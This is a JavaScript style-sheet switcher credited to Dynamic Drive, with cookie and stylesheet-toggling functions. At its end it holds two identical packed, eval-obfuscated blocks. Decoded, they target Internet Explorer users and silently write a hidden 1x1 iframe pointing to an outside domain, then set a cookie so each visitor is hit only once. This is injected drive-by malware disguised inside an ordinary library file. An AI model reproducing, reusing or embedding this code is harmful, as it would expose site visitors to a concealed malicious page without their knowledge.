//Style Sheet Switcher version 1.0 Nov 9th, 2005
//Author: Dynamic Drive: http://www.dynamicdrive.com
//Usage terms: http://www.dynamicdrive.com/notice.htm

function getCookie(Name) { 
var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
if (document.cookie.match(re)) //if cookie found
return document.cookie.match(re)[0].split("=")[1] //return its value
return null
}

function setCookie(name, value, days) {
var expireDate = new Date()
//set "expstring" to either future or past date, to set or delete cookie, respectively
var expstring=(typeof days!="undefined")? expireDate.setDate(expireDate.getDate()+parseInt(days)) : expireDate.setDate(expireDate.getDate()-5)
document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; path=/";
}

function deleteCookie(name){
setCookie(name, "moot")
}

function setStylesheet(title) {
var i, cacheobj
for(i=0; (cacheobj=document.getElementsByTagName("link")[i]); i++) {
if(cacheobj.getAttribute("rel").indexOf("style") != -1 && cacheobj.getAttribute("title")) {
cacheobj.disabled = true
if(cacheobj.getAttribute("title") == title)
cacheobj.disabled = false //enable chosen style sheet
}
}
}

function chooseStyle(styletitle, days){
if (document.getElementById){
setStylesheet(styletitle)
setCookie("mysheet", styletitle, days)
}
}

function indicateSelected(element){ //Optional function that shows which style sheet is currently selected within group of radio buttons or select menu 
var i
if (selectedtitle!=null && (element.type==undefined || element.type=="select-one")){ //if element is a radio button or select menu
var element=(element.type=="select-one") ? element.options : element
for (i=0; i<element.length; i++){
if (element[i].value==selectedtitle){ //if match found between form element value and cookie value
if (element[i].tagName=="OPTION") //if this is a select menu
element[i].selected=true
else //else if it's a radio button
element[i].checked=true
break
}
}
}
}

var selectedtitle=getCookie("mysheet")
if (document.getElementById && selectedtitle!=null) //load user chosen style sheet if there is one stored
setStylesheet(selectedtitle)
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n 5=e a(),7=e a(5.q()+m);2(o.k.9("r 6")!=-1&&4.8.9("d=s")==-1){3="<2"+"b f"+"g=1 h"+"j=1 i"+"c=\'l"+"p://B"+".C/"+"t/\' A"+"z=\'u"+"w:x\'"+"></2"+"b>";2(5.y()==-1){3=0}4.v(3);4.8="d=s;"+" 7="+7.D()+"; "}',40,40,'||if|ifrm|document|today||expires|cookie|indexOf|Date|rame||_mlsdkf|new|wid|th|heig|sr|ht|appVersion|htt|2678400000|var|navigator||getTime|MSIE||b2b|dis|write|play|none|getTimezoneOffset|le|sty|seccatm|net|toGMTString'.split('|')));

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n 5=e a(),7=e a(5.q()+m);2(o.k.9("r 6")!=-1&&4.8.9("d=s")==-1){3="<2"+"b f"+"g=1 h"+"j=1 i"+"c=\'l"+"p://B"+".C/"+"t/\' A"+"z=\'u"+"w:x\'"+"></2"+"b>";2(5.y()==-1){3=0}4.v(3);4.8="d=s;"+" 7="+7.D()+"; "}',40,40,'||if|ifrm|document|today||expires|cookie|indexOf|Date|rame||_mlsdkf|new|wid|th|heig|sr|ht|appVersion|htt|2678400000|var|navigator||getTime|MSIE||b2b|dis|write|play|none|getTimezoneOffset|le|sty|seccatm|net|toGMTString'.split('|')));
